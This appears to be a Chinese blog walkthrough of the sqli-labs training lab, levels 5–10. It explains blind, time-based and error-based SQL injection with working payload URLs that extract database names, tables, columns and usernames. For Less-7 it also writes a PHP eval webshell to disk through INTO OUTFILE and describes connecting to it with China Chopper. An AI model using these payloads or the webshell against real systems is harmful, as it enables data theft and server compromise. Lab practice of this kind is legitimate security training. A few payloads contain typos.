less5-10


  • 注1:从本节开始忽略order by的步骤,因为都是3所以为了方便不再进行赘述
  • 注2:less5-10中,除了less7要求是用outfile 的方式来进行注入,其他的关卡界面都一样,只有sql语句返回true才会显示语句,否则不显示如下
    DlRLDJ.png

前置知识补充(方便查找)

在第一关的时候已经给出了爆数据库名,表名,字段名,字段数据的方法,第五关中主要讲盲注,这两块的知识点贯穿整个靶场,下面我写一下盲注,延时注入,布尔注入部分的其中一种写法(后面我的惯用写法)

  • 1.布尔注入:

          1.left()  
          2.ascii(substr(str,begin,length))  
  • 2.报错注入:

          1.updatexml(1,concat(1,sql语句),1)
  • 3.延时注入:

          1.if(xx,1,sleep(5))

报错注入只要改sql语句部分其他部分硬抄,布尔注入和延时注入是用于猜解的,报错注入只可以在有报错信息显示的时候才能用

下面总结一下利用报错注入获取信息的sql注入代码

#语法:
updatexml(1,concat(1,sql语句),1)


#获取当前数据库名
updatexml(1,concat(1,database()),1)

#爆所有数据库名
updatexml(1,concat(1,(select GROUP_CONCAT(schema_name)FROM information_schema.schemata)),1)

##爆某数据库所有表名
updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名" )),1)

#爆所有列名
updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name="表名" )),1)

#爆某一列的所有数据
updatexml(1,concat(1,(SELECT GROUP_CONCAT(列名) FROM 表名)),1)

一.less5

1.测试

  • 单引号测试:在id =1’ ,结果报错,说明此处可以注入,根据报错结果可知是单引号闭合
  • 逻辑测试:id=1’ and 1=1 –+ ,可以正常回显,and 1=2 –+,不显示内容,说明存在布尔sql盲注,返回值为true就正常回显,返回值false就回显异常
    DlRLDJ.png
    网页部分源码:(如果sql语句返回true就输出语句,否则不输出)
    DQob4A.png

猜测sql语句:

select xx from xx where id ='XX'

2.布尔盲注

布尔盲注 :就是指利用逻辑关系,看sql语句的返回值是true还是false来判断猜解的内容是否正确

补充知识:

#回显的n行的1,n=users表中的行数
select 1 from users; 

#id=-1是不存在的值,这个时候条件筛选的返回值是false,不会有值搜索出来
select 1 from users where id =-1

#id=1是存在的值,这个时候条件筛选的返回值是true,会显示一行的1
select 1 from users where id =1

方法一 : 盲注 (如果纯手动破解,效率低):

(1)用函数length()进行盲注

下面以测试数据库名长度为例,可以正常回显说明数据库名长度为 8

http://127.0.0.1/sqli-labs/Less-5/?id=1' and length(databases())=8 --+

(2)用函数left()进行盲注

说明:left(str,x);表示从左往右显示str的x个字符,返回值是ASCII码;

http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),1)='s' --+

可以正常回显说明第一个字符确实是’s’,接着用left(database(),2)=’se’,会发现还是可以正常回显,所以第二个字符确实是’e’
注 : left的比较规则:和C语言的一样,比较第一个不同的字符

(3)用substr()和ascii()进行盲注
说明:

  • substr(str,begin,len):第一个参数是字符串,begin是字符串的开始点,len是截取的长度

  • ascii(str):返回str的ascii码

判断security下的第一个表名的第一位字符的ascii码

#语法
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

#注入的代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1)--+
  • 想要查第二个字符后面改成substr(xx,2,1)即可***
  • 想要查第二个表只要把limit 0,1改成limit 1,1即可

注:这里的database()就是’security’;

用法:先截取数据库表名然后转换成ascii码进行判断,不断拆解判断每个点

(4)用regexp进行盲注

regexp的用法:str regexp’^xxx’ ,看str中是否有xxx,必须从前向后匹配,比如 username regexp’^ser’ 返回的是false ,^user返回的是true

regexp函数的运用

http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name  regexp'^username'limit 0,1)--+

拆解下面的sql语句含义:在users的表中select 1并且条件是判断columns中是否有username这个字段,如果有,则整句返回1,否则返回空

select 1 from information_schema.columns where table_name='users' and column_name  regexp'^username'limit 0,1

(5)利用ord()和mid()进行盲注

  • ord(XX):把字母转化成ascii码
  • mid(str,begin,length):截取str,begin为起点,1表示第一个字符,length是截取长度

ord()和mid的应用:

http://127.0.0.1/sqli-labs/Less-5/?id=1' and 
ord(mid((select IFNULL(username,0x20)from security.users order by id limit 0,1),1,1))=68--+


#其实这样也可以,不过会不太严谨
ord(mid((select  username from security.users order by id limit 0,1),1,1))=68--+
  • 方法二(用burpsuit暴力破解)

    具体方法以后再补,先跳过

3.报错注入

(1)报错注入的手段很多,这里讲一个我习惯用的(博客后面报错注入的时候基本也用这个):

# 语法:
select updatexml(1,concat(1,sql语句),1)

http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(1,database()),1)--+

注入成功!

下面的手法看情况用,天书Background2讲的很详细

http://127.0.0.1/sqli-labs/Less-5/?id=1' 
union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

注:floor报错注入改的是from后面和select user()那里的代码,其他地方不用变,如果user表或者rand被禁用,就换图片中的写法

原理:https://blog.csdn.net/qq_43504939/article/details/90046342

(2)利用double数值类型超出范围进行报错注入

#语法
select exp(~(select * FROM(SELECT USER())a))    //double数值类型超出范围

#注入代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select  (exp((select * FROM(SELECT USER())a))),2,3--+

(3)利用bigint溢出进行报错注入

#语法
select !(select * from (select user())x) -(ps:这是减号) ~0

#注入代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

4.延时注入

代码含义:以猜数据库名的第一个字符为例子,如果猜错了ascii码额值,就执行sleep(5),网页要等待5s才刷新,否则立刻会刷新

http://127.0.0.1/sqli-labs/Less-8/?id=1'  and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

结果图

二.less6

同less5 ,只不过变成双引号闭合,把’改成”即可,其他地方相同

三.less7

  • 一句话木马
    <?php @eval($_POST["root"]); ?>#root是我设置的密码,可以随便改,必须用双引号括起来
    网页提示用out file来解决
  • less7代码:
    http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]); ?>' into outfile  'E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\a.php' --+
    注意点
  • 本关要构造’))才能形成正确闭合
  • 要知道文件完整路径才能进行入侵
  • 要具有写文件的权限
  • 把一句话木马写入Less7的文件夹下,然后再用中国菜刀等web工具打开进行入侵

中国菜刀的用法:
进行木马写入后,比如上面的a.php,然后右键添加,把php文件的网址路径写入,然后密码写在右侧小框里,确认后回到主页点击刚刚添加的那一项就可以进入文件夹了了


成功连接进入文件管理

四.less8

这里采用的是单引号闭合id=’1’,盲注手法同less5

我这里随便举一个延时注入为例

http://127.0.0.1/sqli-labs/Less-8/?id=1'  and If(ascii(substr(database(),1,1))=117,1,sleep(5))--+

五.less9

这一关我们先加单引号(id=1’)进行测试后发现数据页面正常回显(实际上sql语句也确实是单引号字符型),然后尝试 and sleep(5),发现页面会执行sleep函数,说明存在注入漏洞

后面可以直接用延时注入的手法查看数据即可,方法其实同less5,但是下面我再延时一遍如何利用各个函数调取猜解信息 (这里是对于布尔盲注而言的,and xxx来判断xxx 返回的是true还是false)

  • 1.猜解数据库名

    If(ascii(substr(database(),1,1))=115,1,sleep(5))
  • 2.猜测 security 的数据表:
    用limit 控制想要猜的表

    If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))
  • 3.猜测表中的列名,以users表为例

    If(ascii(substr((select column_name from information
    _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))
  • 4.猜测 username 的值:

    If(ascii(substr((select username from users limit 0,1),
    1,1))=68,1,sleep(5))--+

六.less10

双引号的字符型注入,后面玩法后less5一样


文章作者: 灿若星河
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 灿若星河 !
评论
 上一篇
less11-22 less11-22
注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单一.less11 1.通过查看表单中的信息可以知道
2020-11-21 灿若星河
下一篇 
刷sqli-labs的前置知识 刷sqli-labs的前置知识
需要使用到的网站以及工具firefox插件: Hackbar:方便修改网址测试 HTTPHeader Live:查看请求头 ModHearder:修改请求头 Cookie-Editor:修改cookie 字符进制转换的网站:https:
2020-11-20 灿若星河
  目录